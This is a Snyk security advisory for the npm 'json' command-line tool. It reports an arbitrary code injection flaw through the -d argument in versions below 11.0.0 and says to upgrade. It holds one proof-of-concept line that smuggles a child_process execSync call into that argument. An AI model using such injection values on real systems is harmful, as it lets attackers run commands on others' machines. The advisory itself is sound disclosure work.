Arbitrary Code Injection Affecting json package, versions <11.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-JSON-1082930
  • published22 Mar 2021
  • disclosed5 Mar 2021
  • creditsplitline

Introduced: 5 Mar 2021

CVE NOT AVAILABLE CWE-94  (opens in a new tab)

How to fix?

Upgrade json to version 11.0.0 or higher.

Overview

json is a 'json' command tool for massaging and processing JSON on the command line.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the -d argument.

PoC

curl -sL 'https://api.github.com/repos/joyent/node/issues?state=open' | node_modules/json/lib/json.js -a created_at number title -d '""+require(`child_process`).execSync(`id`)//'

CVSS Scores

version 3.1